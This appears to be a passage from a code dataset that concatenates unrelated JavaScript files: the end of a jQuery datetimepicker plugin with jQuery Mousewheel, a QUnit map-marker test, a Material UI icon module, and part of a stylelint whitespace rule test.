							if ((options.initTime || options.defaultSelect || datetimepicker.data('changed')) && current_time.getHours() === parseInt(h, 10) && ((!isALlowTimesInit && options.step > 59) || current_time.getMinutes() === parseInt(m, 10))) {
								if (options.defaultSelect || datetimepicker.data('changed')) {
									classes.push('xdsoft_current');
								} else if (options.initTime) {
									classes.push('xdsoft_init_time');
								}
							}
							if (parseInt(today.getHours(), 10) === parseInt(h, 10) && parseInt(today.getMinutes(), 10) === parseInt(m, 10)) {
								classes.push('xdsoft_today');
							}
							time += '<div class="xdsoft_time ' + classes.join(' ') + '" data-hour="' + h + '" data-minute="' + m + '">' + dateHelper.formatDate(now, options.formatTime) + '</div>';
						};
						if (!options.allowTimes || !$.isArray(options.allowTimes) || !options.allowTimes.length) {
							for (i = 0, j = 0; i < (options.hours12 ? 12 : 24); i += 1) {
								for (j = 0; j < 60; j += options.step) {
									h = (i < 10 ? '0' : '') + i;
									m = (j < 10 ? '0' : '') + j;
									line_time(h, m);
								}
							}
						} else {
							for (i = 0; i < options.allowTimes.length; i += 1) {
								h = _xdsoft_datetime.strtotime(options.allowTimes[i]).getHours();
								m = _xdsoft_datetime.strtotime(options.allowTimes[i]).getMinutes();
								line_time(h, m);
							}
						}
						timebox.html(time);
						opt = '';
						i = 0;
						for (i = parseInt(options.yearStart, 10) + options.yearOffset; i <= parseInt(options.yearEnd, 10) + options.yearOffset; i += 1) {
							opt += '<div class="xdsoft_option ' + (_xdsoft_datetime.currentTime.getFullYear() === i ? 'xdsoft_current' : '') + '" data-value="' + i + '">' + i + '</div>';
						}
						yearselect.children().eq(0)
												.html(opt);
						for (i = parseInt(options.monthStart, 10), opt = ''; i <= parseInt(options.monthEnd, 10); i += 1) {
							opt += '<div class="xdsoft_option ' + (_xdsoft_datetime.currentTime.getMonth() === i ? 'xdsoft_current' : '') + '" data-value="' + i + '">' + options.i18n[globalLocale].months[i] + '</div>';
						}
						monthselect.children().eq(0).html(opt);
						$(datetimepicker)
							.trigger('generate.xdsoft');
					}, 10);
					event.stopPropagation();
				})
				.on('afterOpen.xdsoft', function () {
					if (options.timepicker) {
						var classType, pheight, height, top;
						if (timebox.find('.xdsoft_current').length) {
							classType = '.xdsoft_current';
						} else if (timebox.find('.xdsoft_init_time').length) {
							classType = '.xdsoft_init_time';
						}
						if (classType) {
							pheight = timeboxparent[0].clientHeight;
							height = timebox[0].offsetHeight;
							top = timebox.find(classType).index() * options.timeHeightInTimePicker + 1;
							if ((height - pheight) < top) {
								top = height - pheight;
							}
							timeboxparent.trigger('scroll_element.xdsoft_scroller', [parseInt(top, 10) / (height - pheight)]);
						} else {
							timeboxparent.trigger('scroll_element.xdsoft_scroller', [0]);
						}
					}
				});
			timerclick = 0;
			calendar
				.on('touchend click.xdsoft', 'td', function (xdevent) {
					xdevent.stopPropagation();  // Prevents closing of Pop-ups, Modals and Flyouts in Bootstrap
					timerclick += 1;
					var $this = $(this),
						currentTime = _xdsoft_datetime.currentTime;
					if (currentTime === undefined || currentTime === null) {
						_xdsoft_datetime.currentTime = _xdsoft_datetime.now();
						currentTime = _xdsoft_datetime.currentTime;
					}
					if ($this.hasClass('xdsoft_disabled')) {
						return false;
					}
					currentTime.setDate(1);
					currentTime.setFullYear($this.data('year'));
					currentTime.setMonth($this.data('month'));
					currentTime.setDate($this.data('date'));
					datetimepicker.trigger('select.xdsoft', [currentTime]);
					input.val(_xdsoft_datetime.str());
					if (options.onSelectDate &&	$.isFunction(options.onSelectDate)) {
						options.onSelectDate.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'), xdevent);
					}
					datetimepicker.data('changed', true);
					datetimepicker.trigger('xchange.xdsoft');
					datetimepicker.trigger('changedatetime.xdsoft');
					if ((timerclick > 1 || (options.closeOnDateSelect === true || (options.closeOnDateSelect === false && !options.timepicker))) && !options.inline) {
						datetimepicker.trigger('close.xdsoft');
					}
					setTimeout(function () {
						timerclick = 0;
					}, 200);
				});
			timebox
				.on('touchmove', 'div', function () { currentlyScrollingTimeDiv = true; })
				.on('touchend click.xdsoft', 'div', function (xdevent) {
					xdevent.stopPropagation();
					if (currentlyScrollingTimeDiv) {
				        	currentlyScrollingTimeDiv = false;
				        	return;
				    	}
					var $this = $(this),
						currentTime = _xdsoft_datetime.currentTime;
					if (currentTime === undefined || currentTime === null) {
						_xdsoft_datetime.currentTime = _xdsoft_datetime.now();
						currentTime = _xdsoft_datetime.currentTime;
					}
					if ($this.hasClass('xdsoft_disabled')) {
						return false;
					}
					currentTime.setHours($this.data('hour'));
					currentTime.setMinutes($this.data('minute'));
					datetimepicker.trigger('select.xdsoft', [currentTime]);
					datetimepicker.data('input').val(_xdsoft_datetime.str());
					if (options.onSelectTime && $.isFunction(options.onSelectTime)) {
						options.onSelectTime.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'), xdevent);
					}
					datetimepicker.data('changed', true);
					datetimepicker.trigger('xchange.xdsoft');
					datetimepicker.trigger('changedatetime.xdsoft');
					if (options.inline !== true && options.closeOnTimeSelect === true) {
						datetimepicker.trigger('close.xdsoft');
					}
				});
			datepicker
				.on('mousewheel.xdsoft', function (event) {
					if (!options.scrollMonth) {
						return true;
					}
					if (event.deltaY < 0) {
						_xdsoft_datetime.nextMonth();
					} else {
						_xdsoft_datetime.prevMonth();
					}
					return false;
				});
			input
				.on('mousewheel.xdsoft', function (event) {
					if (!options.scrollInput) {
						return true;
					}
					if (!options.datepicker && options.timepicker) {
						current_time_index = timebox.find('.xdsoft_current').length ? timebox.find('.xdsoft_current').eq(0).index() : 0;
						if (current_time_index + event.deltaY >= 0 && current_time_index + event.deltaY < timebox.children().length) {
							current_time_index += event.deltaY;
						}
						if (timebox.children().eq(current_time_index).length) {
							timebox.children().eq(current_time_index).trigger('mousedown');
						}
						return false;
					}
					if (options.datepicker && !options.timepicker) {
						datepicker.trigger(event, [event.deltaY, event.deltaX, event.deltaY]);
						if (input.val) {
							input.val(_xdsoft_datetime.str());
						}
						datetimepicker.trigger('changedatetime.xdsoft');
						return false;
					}
				});
			datetimepicker
				.on('changedatetime.xdsoft', function (event) {
					if (options.onChangeDateTime && $.isFunction(options.onChangeDateTime)) {
						var $input = datetimepicker.data('input');
						options.onChangeDateTime.call(datetimepicker, _xdsoft_datetime.currentTime, $input, event);
						delete options.value;
						$input.trigger('change');
					}
				})
				.on('generate.xdsoft', function () {
					if (options.onGenerate && $.isFunction(options.onGenerate)) {
						options.onGenerate.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'));
					}
					if (triggerAfterOpen) {
						datetimepicker.trigger('afterOpen.xdsoft');
						triggerAfterOpen = false;
					}
				})
				.on('click.xdsoft', function (xdevent) {
					xdevent.stopPropagation();
				});
			current_time_index = 0;
			/**
			 * Runs the callback for each of the specified node's ancestors.
			 *
			 * Return FALSE from the callback to stop ascending.
			 *
			 * @param {DOMNode} node
			 * @param {Function} callback
			 * @returns {undefined}
			 */
			forEachAncestorOf = function (node, callback) {
				do {
					node = node.parentNode;
					if (callback(node) === false) {
						break;
					}
				} while (node.nodeName !== 'HTML');
			};
			/**
			 * Sets the position of the picker.
			 *
			 * @returns {undefined}
			 */
			setPos = function () {
				var dateInputOffset,
					dateInputElem,
					verticalPosition,
					left,
					position,
					datetimepickerElem,
					dateInputHasFixedAncestor,
					$dateInput,
					windowWidth,
					verticalAnchorEdge,
					datetimepickerCss,
					windowHeight,
					windowScrollTop;
				$dateInput = datetimepicker.data('input');
				dateInputOffset = $dateInput.offset();
				dateInputElem = $dateInput[0];
				verticalAnchorEdge = 'top';
				verticalPosition = (dateInputOffset.top + dateInputElem.offsetHeight) - 1;
				left = dateInputOffset.left;
				position = "absolute";
				windowWidth = $(window).width();
				windowHeight = $(window).height();
				windowScrollTop = $(window).scrollTop();
				if ((document.documentElement.clientWidth - dateInputOffset.left) < datepicker.parent().outerWidth(true)) {
					var diff = datepicker.parent().outerWidth(true) - dateInputElem.offsetWidth;
					left = left - diff;
				}
				if ($dateInput.parent().css('direction') === 'rtl') {
					left -= (datetimepicker.outerWidth() - $dateInput.outerWidth());
				}
				if (options.fixed) {
					verticalPosition -= windowScrollTop;
					left -= $(window).scrollLeft();
					position = "fixed";
				} else {
					dateInputHasFixedAncestor = false;
					forEachAncestorOf(dateInputElem, function (ancestorNode) {
						if (window.getComputedStyle(ancestorNode).getPropertyValue('position') === 'fixed') {
							dateInputHasFixedAncestor = true;
							return false;
						}
					});
					if (dateInputHasFixedAncestor) {
						position = 'fixed';
						//If the picker won't fit entirely within the viewport then display it above the date input.
						if (verticalPosition + datetimepicker.outerHeight() > windowHeight + windowScrollTop) {
							verticalAnchorEdge = 'bottom';
							verticalPosition = (windowHeight + windowScrollTop) - dateInputOffset.top;
						} else {
							verticalPosition -= windowScrollTop;
						}
					} else {
						if (verticalPosition + dateInputElem.offsetHeight > windowHeight + windowScrollTop) {
							verticalPosition = dateInputOffset.top - dateInputElem.offsetHeight + 1;
						}
					}
					if (verticalPosition < 0) {
						verticalPosition = 0;
					}
					if (left + dateInputElem.offsetWidth > windowWidth) {
						left = windowWidth - dateInputElem.offsetWidth;
					}
				}
				datetimepickerElem = datetimepicker[0];
				forEachAncestorOf(datetimepickerElem, function (ancestorNode) {
					var ancestorNodePosition;
					ancestorNodePosition = window.getComputedStyle(ancestorNode).getPropertyValue('position');
					if (ancestorNodePosition === 'relative' && windowWidth >= ancestorNode.offsetWidth) {
						left = left - ((windowWidth - ancestorNode.offsetWidth) / 2);
						return false;
					}
				});
				datetimepickerCss = {
					position: position,
					left: left,
					top: '',  //Initialize to prevent previous values interfering with new ones.
					bottom: ''  //Initialize to prevent previous values interfering with new ones.
				};
				datetimepickerCss[verticalAnchorEdge] = verticalPosition;
				datetimepicker.css(datetimepickerCss);
			};
			datetimepicker
				.on('open.xdsoft', function (event) {
					var onShow = true;
					if (options.onShow && $.isFunction(options.onShow)) {
						onShow = options.onShow.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'), event);
					}
					if (onShow !== false) {
						datetimepicker.show();
						setPos();
						$(window)
							.off('resize.xdsoft', setPos)
							.on('resize.xdsoft', setPos);
						if (options.closeOnWithoutClick) {
							$([document.body, window]).on('touchstart mousedown.xdsoft', function arguments_callee6() {
								datetimepicker.trigger('close.xdsoft');
								$([document.body, window]).off('touchstart mousedown.xdsoft', arguments_callee6);
							});
						}
					}
				})
				.on('close.xdsoft', function (event) {
					var onClose = true;
					month_picker
						.find('.xdsoft_month,.xdsoft_year')
							.find('.xdsoft_select')
								.hide();
					if (options.onClose && $.isFunction(options.onClose)) {
						onClose = options.onClose.call(datetimepicker, _xdsoft_datetime.currentTime, datetimepicker.data('input'), event);
					}
					if (onClose !== false && !options.opened && !options.inline) {
						datetimepicker.hide();
					}
					event.stopPropagation();
				})
				.on('toggle.xdsoft', function () {
					if (datetimepicker.is(':visible')) {
						datetimepicker.trigger('close.xdsoft');
					} else {
						datetimepicker.trigger('open.xdsoft');
					}
				})
				.data('input', input);
			timer = 0;
			datetimepicker.data('xdsoft_datetime', _xdsoft_datetime);
			datetimepicker.setOptions(options);
			function getCurrentValue() {
				var ct = false, time;
				if (options.startDate) {
					ct = _xdsoft_datetime.strToDate(options.startDate);
				} else {
					ct = options.value || ((input && input.val && input.val()) ? input.val() : '');
					if (ct) {
						ct = _xdsoft_datetime.strToDateTime(ct);
					} else if (options.defaultDate) {
						ct = _xdsoft_datetime.strToDateTime(options.defaultDate);
						if (options.defaultTime) {
							time = _xdsoft_datetime.strtotime(options.defaultTime);
							ct.setHours(time.getHours());
							ct.setMinutes(time.getMinutes());
						}
					}
				}
				if (ct && _xdsoft_datetime.isValidDate(ct)) {
					datetimepicker.data('changed', true);
				} else {
					ct = '';
				}
				return ct || 0;
			}
			function setMask(options) {
				var isValidValue = function (mask, value) {
					var reg = mask
						.replace(/([\[\]\/\{\}\(\)\-\.\+]{1})/g, '\\$1')
						.replace(/_/g, '{digit+}')
						.replace(/([0-9]{1})/g, '{digit$1}')
						.replace(/\{digit([0-9]{1})\}/g, '[0-$1_]{1}')
						.replace(/\{digit[\+]\}/g, '[0-9_]{1}');
					return (new RegExp(reg)).test(value);
				},
				getCaretPos = function (input) {
					try {
						if (document.selection && document.selection.createRange) {
							var range = document.selection.createRange();
							return range.getBookmark().charCodeAt(2) - 2;
						}
						if (input.setSelectionRange) {
							return input.selectionStart;
						}
					} catch (e) {
						return 0;
					}
				},
				setCaretPos = function (node, pos) {
					node = (typeof node === "string" || node instanceof String) ? document.getElementById(node) : node;
					if (!node) {
						return false;
					}
					if (node.createTextRange) {
						var textRange = node.createTextRange();
						textRange.collapse(true);
						textRange.moveEnd('character', pos);
						textRange.moveStart('character', pos);
						textRange.select();
						return true;
					}
					if (node.setSelectionRange) {
						node.setSelectionRange(pos, pos);
						return true;
					}
					return false;
				};
				if(options.mask) {
					input.off('keydown.xdsoft');
				}
				if (options.mask === true) {
														if (typeof moment != 'undefined') {
																	options.mask = options.format
																			.replace(/Y{4}/g, '9999')
																			.replace(/Y{2}/g, '99')
																			.replace(/M{2}/g, '19')
																			.replace(/D{2}/g, '39')
																			.replace(/H{2}/g, '29')
																			.replace(/m{2}/g, '59')
																			.replace(/s{2}/g, '59');
														} else {
																	options.mask = options.format
																			.replace(/Y/g, '9999')
																			.replace(/F/g, '9999')
																			.replace(/m/g, '19')
																			.replace(/d/g, '39')
																			.replace(/H/g, '29')
																			.replace(/i/g, '59')
																			.replace(/s/g, '59');
														}
				}
				if ($.type(options.mask) === 'string') {
					if (!isValidValue(options.mask, input.val())) {
						input.val(options.mask.replace(/[0-9]/g, '_'));
						setCaretPos(input[0], 0);
					}
					input.on('keydown.xdsoft', function (event) {
						var val = this.value,
							key = event.which,
							pos,
							digit;
						if (((key >= KEY0 && key <= KEY9) || (key >= _KEY0 && key <= _KEY9)) || (key === BACKSPACE || key === DEL)) {
							pos = getCaretPos(this);
							digit = (key !== BACKSPACE && key !== DEL) ? String.fromCharCode((_KEY0 <= key && key <= _KEY9) ? key - KEY0 : key) : '_';
							if ((key === BACKSPACE || key === DEL) && pos) {
								pos -= 1;
								digit = '_';
							}
							while (/[^0-9_]/.test(options.mask.substr(pos, 1)) && pos < options.mask.length && pos > 0) {
								pos += (key === BACKSPACE || key === DEL) ? -1 : 1;
							}
							val = val.substr(0, pos) + digit + val.substr(pos + 1);
							if ($.trim(val) === '') {
								val = options.mask.replace(/[0-9]/g, '_');
							} else {
								if (pos === options.mask.length) {
									event.preventDefault();
									return false;
								}
							}
							pos += (key === BACKSPACE || key === DEL) ? 0 : 1;
							while (/[^0-9_]/.test(options.mask.substr(pos, 1)) && pos < options.mask.length && pos > 0) {
								pos += (key === BACKSPACE || key === DEL) ? -1 : 1;
							}
							if (isValidValue(options.mask, val)) {
								this.value = val;
								setCaretPos(this, pos);
							} else if ($.trim(val) === '') {
								this.value = options.mask.replace(/[0-9]/g, '_');
							} else {
								input.trigger('error_input.xdsoft');
							}
						} else {
							if (([AKEY, CKEY, VKEY, ZKEY, YKEY].indexOf(key) !== -1 && ctrlDown) || [ESC, ARROWUP, ARROWDOWN, ARROWLEFT, ARROWRIGHT, F5, CTRLKEY, TAB, ENTER].indexOf(key) !== -1) {
								return true;
							}
						}
						event.preventDefault();
						return false;
					});
				}
			}
			_xdsoft_datetime.setCurrentTime(getCurrentValue());
			input
				.data('xdsoft_datetimepicker', datetimepicker)
				.on('open.xdsoft focusin.xdsoft mousedown.xdsoft touchstart', function () {
					if (input.is(':disabled') || (input.data('xdsoft_datetimepicker').is(':visible') && options.closeOnInputClick)) {
						return;
					}
					clearTimeout(timer);
					timer = setTimeout(function () {
						if (input.is(':disabled')) {
							return;
						}
						triggerAfterOpen = true;
						_xdsoft_datetime.setCurrentTime(getCurrentValue(), true);
						if(options.mask) {
							setMask(options);
						}
						datetimepicker.trigger('open.xdsoft');
					}, 100);
				})
				.on('keydown.xdsoft', function (event) {
					var elementSelector,
						key = event.which;
					if ([ENTER].indexOf(key) !== -1 && options.enterLikeTab) {
						elementSelector = $("input:visible,textarea:visible,button:visible,a:visible");
						datetimepicker.trigger('close.xdsoft');
						elementSelector.eq(elementSelector.index(this) + 1).focus();
						return false;
					}
					if ([TAB].indexOf(key) !== -1) {
						datetimepicker.trigger('close.xdsoft');
						return true;
					}
				})
				.on('blur.xdsoft', function () {
					datetimepicker.trigger('close.xdsoft');
				});
		};
		destroyDateTimePicker = function (input) {
			var datetimepicker = input.data('xdsoft_datetimepicker');
			if (datetimepicker) {
				datetimepicker.data('xdsoft_datetime', null);
				datetimepicker.remove();
				input
					.data('xdsoft_datetimepicker', null)
					.off('.xdsoft');
				$(window).off('resize.xdsoft');
				$([window, document.body]).off('mousedown.xdsoft touchstart');
				if (input.unmousewheel) {
					input.unmousewheel();
				}
			}
		};
		$(document)
			.off('keydown.xdsoftctrl keyup.xdsoftctrl')
			.on('keydown.xdsoftctrl', function (e) {
				if (e.keyCode === CTRLKEY) {
					ctrlDown = true;
				}
			})
			.on('keyup.xdsoftctrl', function (e) {
				if (e.keyCode === CTRLKEY) {
					ctrlDown = false;
				}
			});
		this.each(function () {
			var datetimepicker = $(this).data('xdsoft_datetimepicker'), $input;
			if (datetimepicker) {
				if ($.type(opt) === 'string') {
					switch (opt) {
					case 'show':
						$(this).select().focus();
						datetimepicker.trigger('open.xdsoft');
						break;
					case 'hide':
						datetimepicker.trigger('close.xdsoft');
						break;
					case 'toggle':
						datetimepicker.trigger('toggle.xdsoft');
						break;
					case 'destroy':
						destroyDateTimePicker($(this));
						break;
					case 'reset':
						this.value = this.defaultValue;
						if (!this.value || !datetimepicker.data('xdsoft_datetime').isValidDate(dateHelper.parseDate(this.value, options.format))) {
							datetimepicker.data('changed', false);
						}
						datetimepicker.data('xdsoft_datetime').setCurrentTime(this.value);
						break;
					case 'validate':
						$input = datetimepicker.data('input');
						$input.trigger('blur.xdsoft');
						break;
					default:
						if (datetimepicker[opt] && $.isFunction(datetimepicker[opt])) {
							result = datetimepicker[opt](opt2);
						}
					}
				} else {
					datetimepicker
						.setOptions(opt);
				}
				return 0;
			}
			if ($.type(opt) !== 'string') {
				if (!options.lazyInit || options.open || options.inline) {
					createDateTimePicker($(this));
				} else {
					lazyInit($(this));
				}
			}
		});
		return result;
	};
	$.fn.datetimepicker.defaults = default_options;
	function HighlightedDate(date, desc, style) {
		"use strict";
		this.date = date;
		this.desc = desc;
		this.style = style;
	}
}));
/*!
 * jQuery Mousewheel 3.1.13
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license
 * http://jquery.org/license
 */
(function (factory) {
    if ( typeof define === 'function' && define.amd ) {
        // AMD. Register as an anonymous module.
        define(['jquery'], factory);
    } else if (typeof exports === 'object') {
        // Node/CommonJS style for Browserify
        module.exports = factory;
    } else {
        // Browser globals
        factory(jQuery);
    }
}(function ($) {
    var toFix  = ['wheel', 'mousewheel', 'DOMMouseScroll', 'MozMousePixelScroll'],
        toBind = ( 'onwheel' in document || document.documentMode >= 9 ) ?
                    ['wheel'] : ['mousewheel', 'DomMouseScroll', 'MozMousePixelScroll'],
        slice  = Array.prototype.slice,
        nullLowestDeltaTimeout, lowestDelta;
    if ( $.event.fixHooks ) {
        for ( var i = toFix.length; i; ) {
            $.event.fixHooks[ toFix[--i] ] = $.event.mouseHooks;
        }
    }
    var special = $.event.special.mousewheel = {
        version: '3.1.12',
        setup: function() {
            if ( this.addEventListener ) {
                for ( var i = toBind.length; i; ) {
                    this.addEventListener( toBind[--i], handler, false );
                }
            } else {
                this.onmousewheel = handler;
            }
            // Store the line height and page height for this particular element
            $.data(this, 'mousewheel-line-height', special.getLineHeight(this));
            $.data(this, 'mousewheel-page-height', special.getPageHeight(this));
        },
        teardown: function() {
            if ( this.removeEventListener ) {
                for ( var i = toBind.length; i; ) {
                    this.removeEventListener( toBind[--i], handler, false );
                }
            } else {
                this.onmousewheel = null;
            }
            // Clean up the data we added to the element
            $.removeData(this, 'mousewheel-line-height');
            $.removeData(this, 'mousewheel-page-height');
        },
        getLineHeight: function(elem) {
            var $elem = $(elem),
                $parent = $elem['offsetParent' in $.fn ? 'offsetParent' : 'parent']();
            if (!$parent.length) {
                $parent = $('.page__wrapper');
            }
            return parseInt($parent.css('fontSize'), 10) || parseInt($elem.css('fontSize'), 10) || 16;
        },
        getPageHeight: function(elem) {
            return $(elem).height();
        },
        settings: {
            adjustOldDeltas: true, // see shouldAdjustOldDeltas() below
            normalizeOffset: true  // calls getBoundingClientRect for each event
        }
    };
    $.fn.extend({
        mousewheel: function(fn) {
            return fn ? this.bind('mousewheel', fn) : this.trigger('mousewheel');
        },
        unmousewheel: function(fn) {
            return this.unbind('mousewheel', fn);
        }
    });
    function handler(event) {
        var orgEvent   = event || window.event,
            args       = slice.call(arguments, 1),
            delta      = 0,
            deltaX     = 0,
            deltaY     = 0,
            absDelta   = 0,
            offsetX    = 0,
            offsetY    = 0;
        event = $.event.fix(orgEvent);
        event.type = 'mousewheel';
        // Old school scrollwheel delta
        if ( 'detail'      in orgEvent ) { deltaY = orgEvent.detail * -1;      }
        if ( 'wheelDelta'  in orgEvent ) { deltaY = orgEvent.wheelDelta;       }
        if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY;      }
        if ( 'wheelDeltaX' in orgEvent ) { deltaX = orgEvent.wheelDeltaX * -1; }
        // Firefox < 17 horizontal scrolling related to DOMMouseScroll event
        if ( 'axis' in orgEvent && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) {
            deltaX = deltaY * -1;
            deltaY = 0;
        }
        // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy
        delta = deltaY === 0 ? deltaX : deltaY;
        // New school wheel delta (wheel event)
        if ( 'deltaY' in orgEvent ) {
            deltaY = orgEvent.deltaY * -1;
            delta  = deltaY;
        }
        if ( 'deltaX' in orgEvent ) {
            deltaX = orgEvent.deltaX;
            if ( deltaY === 0 ) { delta  = deltaX * -1; }
        }
        // No change actually happened, no reason to go any further
        if ( deltaY === 0 && deltaX === 0 ) { return; }
        // Need to convert lines and pages to pixels if we aren't already in pixels
        // There are three delta modes:
        //   * deltaMode 0 is by pixels, nothing to do
        //   * deltaMode 1 is by lines
        //   * deltaMode 2 is by pages
        if ( orgEvent.deltaMode === 1 ) {
            var lineHeight = $.data(this, 'mousewheel-line-height');
            delta  *= lineHeight;
            deltaY *= lineHeight;
            deltaX *= lineHeight;
        } else if ( orgEvent.deltaMode === 2 ) {
            var pageHeight = $.data(this, 'mousewheel-page-height');
            delta  *= pageHeight;
            deltaY *= pageHeight;
            deltaX *= pageHeight;
        }
        // Store lowest absolute delta to normalize the delta values
        absDelta = Math.max( Math.abs(deltaY), Math.abs(deltaX) );
        if ( !lowestDelta || absDelta < lowestDelta ) {
            lowestDelta = absDelta;
            // Adjust older deltas if necessary
            if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {
                lowestDelta /= 40;
            }
        }
        // Adjust older deltas if necessary
        if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {
            // Divide all the things by 40!
            delta  /= 40;
            deltaX /= 40;
            deltaY /= 40;
        }
        // Get a whole, normalized value for the deltas
        delta  = Math[ delta  >= 1 ? 'floor' : 'ceil' ](delta  / lowestDelta);
        deltaX = Math[ deltaX >= 1 ? 'floor' : 'ceil' ](deltaX / lowestDelta);
        deltaY = Math[ deltaY >= 1 ? 'floor' : 'ceil' ](deltaY / lowestDelta);
        // Normalise offsetX and offsetY properties
        if ( special.settings.normalizeOffset && this.getBoundingClientRect ) {
            var boundingRect = this.getBoundingClientRect();
            offsetX = event.clientX - boundingRect.left;
            offsetY = event.clientY - boundingRect.top;
        }
        // Add information to the event object
        event.deltaX = deltaX;
        event.deltaY = deltaY;
        event.deltaFactor = lowestDelta;
        event.offsetX = offsetX;
        event.offsetY = offsetY;
        // Go ahead and set deltaMode to 0 since we converted to pixels
        // Although this is a little odd since we overwrite the deltaX/Y
        // properties with normalized deltas.
        event.deltaMode = 0;
        // Add event and delta to the front of the arguments
        args.unshift(event, delta, deltaX, deltaY);
        // Clearout lowestDelta after sometime to better
        // handle multiple device types that give different
        // a different lowestDelta
        // Ex: trackpad = 3 and mouse wheel = 120
        if (nullLowestDeltaTimeout) { clearTimeout(nullLowestDeltaTimeout); }
        nullLowestDeltaTimeout = setTimeout(nullLowestDelta, 200);
        return ($.event.dispatch || $.event.handle).apply(this, args);
    }
    function nullLowestDelta() {
        lowestDelta = null;
    }
    function shouldAdjustOldDeltas(orgEvent, absDelta) {
        // If this is an older event and the delta is divisable by 120,
        // then we are assuming that the browser is treating this as an
        // older mouse wheel event and that we should divide the deltas
        // by 40 to try and get a more usable deltaFactor.
        // Side note, this actually impacts the reported scroll distance
        // in older browsers and can cause scrolling to be slower than native.
        // Turn this off by setting $.event.special.mousewheel.settings.adjustOldDeltas to false.
        return special.settings.adjustOldDeltas && orgEvent.type === 'mousewheel' && absDelta % 120 === 0;
    }
}));
 | 
	logics-layout/flufoods | 
	markup/static/js/separate-js/jquery.datetimepicker.full.js | 
	JavaScript | 
	mit | 114,711 | 
| 
	require([
    "maplib/MapDrawer",
    "gaslib/Point"
], function(MapDrawer, Point){
    QUnit.test( "a basic test example", function( assert ) {
        var element = document.getElementById("map");
        var drawer = new MapDrawer(element);
        drawer.init();
        drawer.drawMarker(
            new Point(52.23, 21.06),
            {}
        );
        assert.equal( "got here", "got here", "We expect to get here" );
    });
});
 | 
	jeffreyjw/experimentA | 
	testorial/tests/A beginner/2 markers/1 drawing markers/script.js | 
	JavaScript | 
	mit | 449 | 
| 
	"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;
var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon"));
var _jsxRuntime = require("react/jsx-runtime");
var _default = (0, _createSvgIcon.default)( /*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
  fillRule: "evenodd",
  d: "M19.28 16.34c-1.21-.89-1.82-1.34-1.82-1.34s.32-.59.96-1.78c.38-.59 1.22-.59 1.6 0l.81 1.26c.19.3.21.68.06 1l-.22.47c-.25.54-.91.72-1.39.39zm-14.56 0c-.48.33-1.13.15-1.39-.38l-.23-.47c-.15-.32-.13-.7.06-1l.81-1.26c.38-.59 1.22-.59 1.6 0 .65 1.18.97 1.77.97 1.77s-.61.45-1.82 1.34zm10.64-6.97c.09-.68.73-1.06 1.27-.75l1.59.9c.46.26.63.91.36 1.41L16.5 15h-1.8l.66-5.63zm-6.73 0L9.3 15H7.5l-2.09-4.08c-.27-.5-.1-1.15.36-1.41l1.59-.9c.53-.3 1.18.08 1.27.76zM13.8 15h-3.6l-.74-6.88c-.07-.59.35-1.12.88-1.12h3.3c.53 0 .94.53.88 1.12L13.8 15z"
}), 'BakeryDining');
exports.default = _default; | 
	oliviertassinari/material-ui | 
	packages/mui-icons-material/lib/BakeryDining.js | 
	JavaScript | 
	mit | 1,025 | 
| 
	import {
  messages,
  ruleName,
} from ".."
import rules from "../../../rules"
import { testRule } from "../../../testUtils"
const rule = rules[ruleName]
testRule(rule, {
  ruleName,
  config: ["always"],
  accept: [ {
    code: "@import url(x.css)",
  }, {
    code: "a { color: pink; }",
  }, {
    code: "@media print { a { color: pink; } }",
  }, {
    code: "a {{ &:hover { color: pink; }}}",
  }, {
    code: "a {\n&:hover { color: pink; }}",
  } ],
  reject: [ {
    code: "a{ color: pink; }",
    message: messages.expectedBefore(),
    line: 1,
    column: 1,
  }, {
    code: "a  { color: pink; }",
    message: messages.expectedBefore(),
    line: 1,
    column: 3,
  }, {
    code: "a\t{ color: pink; }",
    message: messages.expectedBefore(),
    line: 1,
    column: 2,
  }, {
    code: "a\n{ color: pink; }",
    message: messages.expectedBefore(),
    line: 1,
    column: 2,
  }, {
    code: "a\r\n{ color: pink; }",
    description: "CRLF",
    message: messages.expectedBefore(),
    line: 1,
    column: 2,
  }, {
    code: "@media print\n{ a { color: pink; } }",
    message: messages.expectedBefore(),
    line: 1,
    column: 13,
  }, {
    code: "@media print { a\n{ color: pink; } }",
    message: messages.expectedBefore(),
    line: 1,
    column: 17,
  } ],
})
testRule(rule, {
  ruleName,
  config: [ "always", { ignoreAtRules: ["for"] } ],
  accept: [ {
    code: "a { color: pink; }",
  }, {
    code: "@for ...\n{ color: pink; }",
  }, {
    code: "@for ...\r\n{ color: pink; }",
  } ],
  reject: [{
    code: "a{ color: pink; }",
    message: messages.expectedBefore(),
    line: 1,
    column: 1,
  }],
})
testRule(rule, {
  ruleName,
  config: [ "always", { ignoreAtRules: "/fo/" } ],
  accept: [ {
    code: "a { color: pink; }",
  }, {
    code: "@for ...\n{ color: pink; }",
  }, {
    code: "@for ...\r\n{ color: pink; }",
  } ],
  reject: [{
    code: "a{ color: pink; }",
    message: messages.expectedBefore(),
    line: 1,
    column: 1,
  }],
})
testRule(rule, {
  ruleName,
  config: ["never"],
  accept: [ {
    code: "a{ color: pink; }",
  }, {
    code: "@media print{ a{ color: pink; } }",
  } ],
  reject: [ {
    code: "a { color: pink; }",
    message: messages.rejectedBefore(),
    line: 1,
    column: 2,
  }, {
    code: "a  { color: pink; }",
    message: messages.rejectedBefore(),
    line: 1,
    column: 3,
  }, {
    code: "a\t{ color: pink; }",
    message: messages.rejectedBefore(),
    line: 1,
    column: 2,
  }, {
    code: "a\n{ color: pink; }",
    message: messages.rejectedBefore(),
    line: 1,
    column: 2,
  }, {
    code: "a\r\n{ color: pink; }",
    description: "CRLF",
    message: messages.rejectedBefore(),
    line: 1,
    column: 2,
  }, {
    code: "@media print { a{ color: pink; } }",
    message: messages.rejectedBefore(),
    line: 1,
